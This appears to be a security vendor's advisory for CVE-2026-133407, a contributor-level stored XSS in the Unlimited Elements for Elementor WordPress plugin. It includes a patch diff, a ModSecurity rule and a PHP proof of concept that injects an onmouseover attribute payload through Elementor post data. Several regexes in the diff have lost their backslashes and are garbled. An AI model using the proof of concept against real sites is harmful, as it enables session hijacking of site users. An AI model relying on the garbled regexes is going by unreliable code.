Published : December 2, 2026

CVE-2026-133407: Unlimited Elements for Elementor <= 2.0.29 Authenticated (Contributor+) Stored Cross-Site Scripting via 'ucfont___custom’ Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.0.29
Patched Version 2.0.30
Disclosed December 1, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-133407: This vulnerability is an authenticated (Contributor+) stored cross-site scripting (XSS) flaw in the Unlimited Elements for Elementor plugin for WordPress, affecting versions up to and including 2.0.29. The issue resides in the handling of the ‘ucfont___custom’ parameter within Elementor’s _elementor_data settings. The severity is rated CVSS 6.4 (Medium).

The root cause lies in insufficient input sanitization and output escaping of user-controlled CSS values. In the vulnerable version, the function `getStyleFromFonts` (or similar) in `inc_php/unitecreator_params_processor.class.php` processes font style parameters. The ‘custom’ case directly passes the user-supplied `$styleValue` to `safecss_filter_attr()` without further validation. While `safecss_filter_attr()` attempts to sanitize CSS, it does not prevent attribute injection when the value is later echoed inside a `style=”…”` attribute. An attacker can inject a double quote to break out of the attribute and add event handlers like `onmouseover`. The patch introduces new sanitization functions such as `sanitizeCssPropertyValue` and `sanitizeCssFontFamilyValue` that reject dangerous characters, including quotes, and ensures that CSS values are safe for attribute context.

Exploitation requires an authenticated user with at least Contributor permissions. The attacker crafts a page or post using Elementor, inserting a font parameter with a malicious value into the `_elementor_data` settings. For example, setting `ucfont_font-family__custom` to `” onmouseover=”alert(1)” style=”` would break out of the style attribute when the page is rendered. When a victim (including an administrator) views the page, the JavaScript executes in their browser.

The patch (version 2.0.30) adds comprehensive sanitization. It introduces `sanitizeCssPropertyValue()` which uses a regular expression to block quotes, angle brackets, and other dangerous characters. For font-family, it uses `sanitizeCssFontFamilyValue()` that allows quotes but blocks script injections. Additionally, `sanitizeCustomCssDeclarations()` applies `safecss_filter_attr()` and then checks for angle brackets and style tag closers. The patch also escapes dynamic data attributes with `esc_attr()`. These measures prevent attackers from injecting arbitrary attributes or scripts.

If exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the context of any user viewing the affected page, including administrators. This can lead to session hijacking, privilege escalation (by creating new admin accounts), data theft, or website defacement. The attacker must be authenticated with Contributor or higher, which limits the attack surface, but contributor accounts are often available on multi-author sites.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/unlimited-elements-for-elementor/inc_php/framework/functions.class.php
+++ b/unlimited-elements-for-elementor/inc_php/framework/functions.class.php
@@ -3016,7 +3016,118 @@
 		if(self::isEmptyColorString($color) == true)
 			return("");

-		return($color);
+		return(self::sanitizeCssPropertyValue($color));
+	}
+
+	/**
+	 * drop a CSS property value that can break a style element or inject extra rules
+	 */
+	public static function sanitizeCssPropertyValue($value){
+
+		if(is_string($value) == false)
+			return("");
+
+		$value = trim($value);
+
+		if($value === "")
+			return("");
+
+		if(preg_match('/[<>{}\\"';x00-x1f]|/*/', $value))
+			return("");
+
+		if(preg_match('/(?:^|[^a-z0-9-])expressions*(/i', $value) || stripos($value, "javascript:") !== false)
+			return("");
+
+		return($value);
+	}
+
+	/**
+	 * font-family may include quotes, spaces and commas
+	 */
+	public static function sanitizeCssFontFamilyValue($value){
+
+		if(is_string($value) == false)
+			return("");
+
+		$value = trim($value);
+
+		if($value === "")
+			return("");
+
+		if(preg_match('/[<>{}\\x00-x1f]|/*/', $value))
+			return("");
+
+		if(stripos($value, "javascript:") !== false || stripos($value, "expression(") !== false)
+			return("");
+
+		return($value);
+	}
+
+	/**
+	 * class names used in CSS selectors and HTML class attributes
+	 */
+	public static function sanitizeCssClassName($value){
+
+		if(is_string($value) == false)
+			return("");
+
+		return(sanitize_html_class($value));
+	}
+
+	/**
+	 * keep only a CSS size token (after normalizeSize)
+	 */
+	public static function sanitizeCssSizeValue($value){
+
+		$value = self::normalizeSize($value);
+
+		if(is_string($value) == false)
+			return("");
+
+		$value = trim($value);
+
+		if($value === "")
+			return("");
+
+		if(preg_match('/^-?d+(.d+)?(px|em|rem|%|vh|vw|pt|ex|ch|vmin|vmax)?$/i', $value) != 1)
+			return("");
+
+		return($value);
+	}
+
+	/**
+	 * custom font CSS: allowlisted declarations only, then drop style-tag breakout
+	 */
+	public static function sanitizeCustomCssDeclarations($css){
+
+		if(is_string($css) == false)
+			return("");
+
+		$css = safecss_filter_attr($css);
+
+		if($css === "")
+			return("");
+
+		if(preg_match('/[<>{}]|</style/i', $css))
+			return("");
+
+		return($css);
+	}
+
+	/**
+	 * CSS that will be printed inside a style element must not contain a closer
+	 */
+	public static function sanitizeCssForStyleTag($css){
+
+		if(is_string($css) == false)
+			return("");
+
+		$css = preg_replace('/</style/i', '', $css);
+
+		if(is_string($css) == false)
+			return("");
+
+		return($css);
 	}


--- a/unlimited-elements-for-elementor/inc_php/unitecreator_helper.class.php
+++ b/unlimited-elements-for-elementor/inc_php/unitecreator_helper.class.php
@@ -2298,6 +2298,7 @@

 		$css = UniteCreatorOutput::$bufferBodyCss;
 		if(!empty($css)){
+			$css = UniteFunctionsUC::sanitizeCssForStyleTag($css);
 			echo "n<style type='text/css'> n";
 			echo "n/* Unlimited Elements Css */ nn";
 			uelm_echo($css . "n");
--- a/unlimited-elements-for-elementor/inc_php/unitecreator_output.class.php
+++ b/unlimited-elements-for-elementor/inc_php/unitecreator_output.class.php
@@ -2875,6 +2875,8 @@

 				$css = "/* {$widgetText}: $title */" . self::BR2 . $css . self::BR2;

+				$css = UniteFunctionsUC::sanitizeCssForStyleTag($css);
+
 				if(self::$isBufferingCssActive == true){
 					//add css to buffer
 					if(!empty(self::$bufferBodyCss))
@@ -2892,6 +2894,7 @@
 			//add css selectors
 			if($isAddSelectors == true){
 				$selectorsStyleID = "selectors_css_" . $this->generatedID;
+				$cssSelectors = UniteFunctionsUC::sanitizeCssForStyleTag($cssSelectors);

 				$output .= "n<style id="$selectorsStyleID" name="uc_selectors_css">$cssSelectors</style>";
 			}
--- a/unlimited-elements-for-elementor/inc_php/unitecreator_params_processor.class.php
+++ b/unlimited-elements-for-elementor/inc_php/unitecreator_params_processor.class.php
@@ -370,6 +370,10 @@
 			switch($styleName){
 				case "font-family":

+					$styleValue = UniteFunctionsUC::sanitizeCssFontFamilyValue($styleValue);
+					if($styleValue === "")
+						break;
+
 					if(strpos($styleValue, " ") !== false && strpos($styleValue, ",") === false)
 						$arrStyle[$styleName] = "'$styleValue'";
 					else
@@ -400,16 +404,26 @@
 				case "text-decoration":
 				case "color":
 				case "font-style":
+					$styleValue = UniteFunctionsUC::sanitizeCssPropertyValue($styleValue);
+					if($styleValue === "")
+						break;
+
 					$arrStyle[$styleName] = $styleValue;
 				break;
 				case "font-size":
-					$arrStyle[$styleName] = UniteFunctionsUC::normalizeSize($styleValue);
+					$styleValue = UniteFunctionsUC::sanitizeCssSizeValue($styleValue);
+					if($styleValue === "")
+						break;
+
+					$arrStyle[$styleName] = $styleValue;
 				break;
 				case "font-size-mobile":
 				case "mobile-size":
 				case "font-size-tablet":

-					$styleValue = UniteFunctionsUC::normalizeSize($styleValue);
+					$styleValue = UniteFunctionsUC::sanitizeCssSizeValue($styleValue);
+					if($styleValue === "")
+						break;

 					$isTablet = false;
 					if($styleName == "font-size-tablet")
@@ -417,6 +431,7 @@

 					$cssMobileSize = "{$mobileSizeClass}{font-size:{$styleValue} !important;}";
 					$cssMobileSize = HelperHtmlUC::wrapCssMobile($cssMobileSize, $isTablet);
+					$cssMobileSize = UniteFunctionsUC::sanitizeCssForStyleTag($cssMobileSize);

 					if($isReturnCss == false)
 						$this->addon->addToCSS($cssMobileSize);
@@ -424,13 +439,19 @@
 				break;

 				case "custom":
-					$addStyles = safecss_filter_attr($styleValue);
+					$addStyles = UniteFunctionsUC::sanitizeCustomCssDeclarations($styleValue);
 				break;
 				case "template":
-					$fontTemplate = $styleValue;
+					$fontTemplate = UniteFunctionsUC::sanitizeCssClassName($styleValue);
+					if($fontTemplate === "" || $fontTemplate !== $styleValue)
+						$fontTemplate = null;
 				break;
 				case "style-selector":
-					$spanClass = $styleValue;
+					$spanClassSanitized = UniteFunctionsUC::sanitizeCssClassName($styleValue);
+					if($spanClassSanitized === "" || $spanClassSanitized !== $styleValue)
+						break;
+
+					$spanClass = $spanClassSanitized;
 					$mobileSizeClass = ".".$spanClass;
 				break;

@@ -450,7 +471,7 @@
 			if(!empty($cssMobileSize))
 				$css .= "n".$cssMobileSize;

-			return($css);
+			return(UniteFunctionsUC::sanitizeCssForStyleTag($css));
 		}


@@ -470,7 +491,7 @@
 		if($this->processType == self::PROCESS_TYPE_OUTPUT_BACK){

 			$arrClasses[] = "uc-font-editable-field";
-			$htmlAdd .= " data-uc_font_field="{$fontsKey}" ";
+			$htmlAdd .= " data-uc_font_field="" . esc_attr($fontsKey) . "" ";
 			$htmlAdd .= " contenteditable";

 			//UniteFunctionsUC::showTrace();exit();
--- a/unlimited-elements-for-elementor/inc_php/unitecreator_rss.class.php
+++ b/unlimited-elements-for-elementor/inc_php/unitecreator_rss.class.php
@@ -351,6 +351,7 @@

 		$value = wp_strip_all_tags($value);
 		$value = str_replace(array("<", ">"), "", $value);
+		$value = $this->stripRssShortcodes($value);
 		$value = preg_replace('/s+/', ' ', $value);

 		if(is_string($value) == false)
@@ -365,15 +366,58 @@
 	private function sanitizeRssHtml($value){

 		$value = $this->decodeRssTextEntities($value);
+		$value = $this->stripRssShortcodes($value);
 		$value = wp_kses_post($value);

 		if(is_string($value) == false)
 			$value = "";

+		// Tag removal can join a broken name into a real shortcode, so strip again.
+		$value = $this->stripRssShortcodes($value);
+
 		return(trim($value));
 	}

 	/**
+	 * remove registered shortcodes from a feed string.
+	 * the whole [[tag]] form goes too. strip_shortcodes() would turn that into [tag], and the page runs do_shortcode() later.
+	 */
+	private function stripRssShortcodes($value){
+
+		if(is_string($value) == false || $value === "")
+			return("");
+
+		if(strpos($value, "[") === false)
+			return($value);
+
+		if(function_exists("get_shortcode_regex") == false)
+			return($value);
+
+		global $shortcode_tags;
+
+		if(empty($shortcode_tags) || is_array($shortcode_tags) == false)
+			return($value);
+
+		$pattern = get_shortcode_regex(array_keys($shortcode_tags));
+		$passes = 0;
+		$previous = null;
+
+		while($value !== $previous && $passes < 3){
+
+			$previous = $value;
+			$stripped = preg_replace("/".$pattern."/", "", $value);
+
+			if(is_string($stripped) == false)
+				return("");
+
+			$value = $stripped;
+			$passes++;
+		}
+
+		return($value);
+	}
+
+	/**
 	 * http(s) and other browser-safe schemes only
 	 */
 	private function sanitizeRssUrl($value){
--- a/unlimited-elements-for-elementor/inc_php/unitecreator_template_engine.class.php
+++ b/unlimited-elements-for-elementor/inc_php/unitecreator_template_engine.class.php
@@ -1607,7 +1607,7 @@
 			break;
 			case "get_nextprev_post_data":

-				$data = UniteFunctionsWPUC::getNextPrevPostData($arg1, $arg2);
+				$data = UniteFunctionsWPUC::getNextPrevPostData($arg1, $arg2, $arg3);

 				return($data);
 			break;
--- a/unlimited-elements-for-elementor/includes.php
+++ b/unlimited-elements-for-elementor/includes.php
@@ -12,7 +12,7 @@
 if ( ! defined( 'ABSPATH' ) ) exit;

 if(!defined("UNLIMITED_ELEMENTS_VERSION"))
-	define("UNLIMITED_ELEMENTS_VERSION", "2.0.29");
+	define("UNLIMITED_ELEMENTS_VERSION", "2.0.30");


 //disable elementor support for debugging purposes. keep it commented
--- a/unlimited-elements-for-elementor/provider/functions_wordpress.class.php
+++ b/unlimited-elements-for-elementor/provider/functions_wordpress.class.php
@@ -2934,25 +2934,91 @@
 	}

 	/**
+	 * next or previous post in the same post type, ordered by menu_order
+	 * next is the higher menu_order, previous is the lower one
+	 */
+	private static function getAdjacentPostByMenuOrder($isNext){
+
+		$current = get_post();
+
+		if(empty($current) || empty($current->ID))
+			return(null);
+
+		global $wpdb;
+
+		$menuOrder = (int)$current->menu_order;
+		$postID = (int)$current->ID;
+		$postType = $current->post_type;
+		$orderCompare = $isNext ? ">" : "<";
+		$sort = $isNext ? "ASC" : "DESC";
+
+		$sql = $wpdb->prepare(
+			"SELECT ID FROM {$wpdb->posts}
+			WHERE post_type = %s
+			AND post_status = 'publish'
+			AND ID != %d
+			AND (
+				menu_order {$orderCompare} %d
+				OR (menu_order = %d AND ID {$orderCompare} %d)
+			)
+			ORDER BY menu_order {$sort}, ID {$sort}
+			LIMIT 1",
+			$postType,
+			$postID,
+			$menuOrder,
+			$menuOrder,
+			$postID
+		);
+
+		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- Adjacent lookup by the menu_order column. The comparison and sort direction are fixed strings, the values are placeholders.
+		$nextID = $wpdb->get_var($sql);
+
+		if(empty($nextID))
+			return(null);
+
+		return(get_post((int)$nextID));
+	}
+
+	/**
 	 * get next or previous post
+	 * orderBy: date (publish date) or menu_order
+	 * the second argument used to be a taxonomy name
 	 */
-	public static function getNextPrevPostData($type = "next", $taxonomy = "category"){
+	public static function getNextPrevPostData($type = "next", $orderBy = "date", $taxonomy = "category"){
+
+		if(empty($type))
+			$type = "next";
+
+		if(empty($orderBy))
+			$orderBy = "date";
+
+		if($orderBy != "date" && $orderBy != "menu_order"){
+			$taxonomy = $orderBy;
+			$orderBy = "date";
+		}

 		if(empty($taxonomy))
 			$taxonomy = "category";

-		if(empty($type))
-			$type = "next";
+		$isNext = ($type == "next");
+
+		if($orderBy == "menu_order"){

-		$previous = !($type == "next");
+			$post = self::getAdjacentPostByMenuOrder($isNext);

-		if($previous && is_attachment()){
-			$post = get_post(get_post()->post_parent);
 		}else{
-			$in_same_term = false;
-			$excluded_terms = '';

-			$post = get_adjacent_post($in_same_term, $excluded_terms, $previous, $taxonomy);
+			$previous = !$isNext;
+
+			if($previous && is_attachment()){
+				$post = get_post(get_post()->post_parent);
+			}else{
+				$in_same_term = false;
+				$excluded_terms = '';
+
+				$post = get_adjacent_post($in_same_term, $excluded_terms, $previous, $taxonomy);
+			}
+
 		}

 		if(empty($post))
--- a/unlimited-elements-for-elementor/provider/provider_params_processor.class.php
+++ b/unlimited-elements-for-elementor/provider/provider_params_processor.class.php
@@ -1619,6 +1619,121 @@


 	/**
+	 * split a requested post type value into a list. "any" follows WP_Query and means types that are not excluded from search.
+	 */
+	private function normalizeRequestedPostTypes($postType){
+
+		if(is_string($postType)){
+
+			$postType = trim($postType);
+
+			if($postType === "")
+				return(array());
+
+			if(strpos($postType, ",") !== false)
+				$postType = array_map("trim", explode(",", $postType));
+			else
+				$postType = array($postType);
+		}
+
+		if(is_array($postType) == false)
+			return(array());
+
+		$types = array();
+
+		foreach($postType as $type){
+
+			if(is_string($type) == false)
+				continue;
+
+			$type = trim($type);
+
+			if($type === "")
+				continue;
+
+			if($type === "any"){
+				$types = array_merge($types, array_values(get_post_types(array("exclude_from_search" => false), "names")));
+				continue;
+			}
+
+			$types[] = $type;
+		}
+
+		return($types);
+	}
+
+
+	/**
+	 * a viewable type is allowed. a private type is allowed only when the user has that type's own edit_posts capability, or a type-specific read capability.
+	 * cap->read on a normal type is the shared "read" capability, which every logged-in user has, so it does not authorize a private type.
+	 */
+	private function isPostTypeAllowedForCurrentUser($type){
+
+		$type = sanitize_key($type);
+
+		if($type === "" || post_type_exists($type) == false)
+			return(false);
+
+		$objType = get_post_type_object($type);
+
+		if(empty($objType))
+			return(false);
+
+		if(is_post_type_viewable($objType) == true)
+			return(true);
+
+		if(empty($objType->cap))
+			return(false);
+
+		$editPosts = "";
+
+		if(isset($objType->cap->edit_posts))
+			$editPosts = $objType->cap->edit_posts;
+
+		if($editPosts !== "" && current_user_can($editPosts) == true)
+			return(true);
+
+		$readCap = "";
+
+		if(isset($objType->cap->read))
+			$readCap = $objType->cap->read;
+
+		if($readCap !== "" && $readCap !== "read" && current_user_can($readCap) == true)
+			return(true);
+
+		return(false);
+	}
+
+
+	/**
+	 * drop post types the current user may not query. an empty result falls back to post.
+	 */
+	private function filterQueryPostTypesForCurrentUser($postType){
+
+		$types = $this->normalizeRequestedPostTypes($postType);
+		$allowed = array();
+
+		foreach($types as $type){
+
+			if($this->isPostTypeAllowedForCurrentUser($type) == false)
+				continue;
+
+			$allowed[] = $type;
+		}
+
+		$allowed = array_values(array_unique($allowed));
+
+		if(empty($allowed))
+			return("post");
+
+		if(count($allowed) == 1)
+			return($allowed[0]);
+
+		return($allowed);
+	}
+
+
+	/**
 	 * get post list data custom from filters
 	 */
 	private function getPostListData_custom($value, $name, $processType, $param, $data, $nameListing = null){
@@ -2069,6 +2184,9 @@
 		//add debug for further use
 		HelperUC::addDebug("Post Filters", $filters);

+		$postType = $this->filterQueryPostTypesForCurrentUser(UniteFunctionsUC::getVal($filters, "posttype", "post"));
+		$filters["posttype"] = $postType;
+
 		//run custom query if available
 		$args = UniteFunctionsWPUC::getPostsArgs($filters);

@@ -2816,7 +2934,8 @@
 		// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name kept for existing callbacks.
 		$args = apply_filters("ue_modify_posts_query_args", $args, $value, $name);

-		$args["post_status"] = $this->limitPostStatusesForCurrentUser(UniteFunctionsUC::getVal($args, "post_status", "publish"), UniteFunctionsUC::getVal($args, "post_type"));
+		$args["post_type"] = $this->filterQueryPostTypesForCurrentUser(UniteFunctionsUC::getVal($args, "post_type", "post"));
+		$args["post_status"] = $this->limitPostStatusesForCurrentUser(UniteFunctionsUC::getVal($args, "post_status", "publish"), $args["post_type"]);

 		//set debug errors
 		if($showDebugQuery == true && $debugType == "show_query"){
@@ -3197,6 +3316,9 @@

 		$postType = UniteFunctionsUC::getVal($value, $name."_posttype_current");

+		if(!empty($postType))
+			$postType = $this->filterQueryPostTypesForCurrentUser($postType);
+
 		//enable filters
 		$nameForFilter = $name;
 		if(!empty($nameListing))
--- a/unlimited-elements-for-elementor/unlimited_elements.php
+++ b/unlimited-elements-for-elementor/unlimited_elements.php
@@ -4,7 +4,7 @@
 * Plugin URI: http://unlimited-elements.com
 * Description: Elementor all-in-one addons pack with the best widgets for Elementor, offering 100+ free widgets, templates, and tools to create stunning websites!
 * Author: Unlimited Elements
-* Version: 2.0.29
+* Version: 2.0.30
 * Author URI: http://unlimited-elements.com
 * Text Domain: unlimited-elements-for-elementor
 * Domain Path: /languages

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-133407
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026133407,phase:2,deny,status:403,chain,msg:'CVE-2026-133407 via Unlimited Elements for Elementor AJAX',severity:'CRITICAL',tag:'CVE-2026-133407'"
  SecRule ARGS_POST:action "@streq elementor_ajax" "chain"
    SecRule ARGS_POST:actions "@rx (onmouseover|onerror|onload)[[:space:]]*=" "t:urlDecodeUni,t:htmlEntityDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-133407 - Unlimited Elements for Elementor <= 2.0.29 - Authenticated (Contributor+) Stored XSS via 'ucfont_<param>__custom' Parameter

$target_url = 'http://example.com'; // WordPress site URL
$username = 'contributor'; // Contributor-level username
$password = 'password'; // Contributor-level password

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$cookie_file = tempnam(sys_get_temp_dir(), 'cookies');

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

if ($response === false) {
    die('Login failed');
}

// Step 2: Get the nonce for creating a post (using admin-ajax or REST API)
// For simplicity, we will use the classic editor via XML-RPC or direct DB insertion? No, we use the REST API.
// But Contributor can create posts via REST API if they have the capability.
// We'll use the REST API to create a new post with Elementor data.

// First, get the REST API nonce from the admin page (or use cookie authentication).
$nonce_url = $target_url . '/wp-admin/admin-ajax.php?action=rest-nonce';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $nonce_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$nonce_response = curl_exec($ch);
curl_close($ch);
$rest_nonce = trim($nonce_response);

// Step 3: Create a new post with Elementor data containing the malicious payload.
$post_data = [
    'title' => 'XSS PoC',
    'status' => 'draft', // Contributor can create drafts
    'content' => '', // Elementor will override
    'meta' => [
        '_elementor_data' => json_encode([
            [
                'id' => '12345678',
                'elType' => 'widget',
                'widgetType' => 'unlimited_elements_widget', // Replace with actual widget type
                'settings' => [
                    'ucfont_font-family__custom' => '" onmouseover="alert(document.domain)" style="',
                    // Additional settings as needed
                ]
            ]
        ]),
        '_elementor_edit_mode' => 'builder'
    ]
];

$api_url = $target_url . '/wp-json/wp/v2/posts';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $rest_nonce
]);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

$result = json_decode($response, true);
if (isset($result['id'])) {
    echo "Post created with ID: " . $result['id'] . "n";
    echo "Visit the post to trigger XSS: " . $target_url . "?p=" . $result['id'] . "n";
} else {
    echo "Failed to create post: " . $response . "n";
}

// Clean up
unlink($cookie_file);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.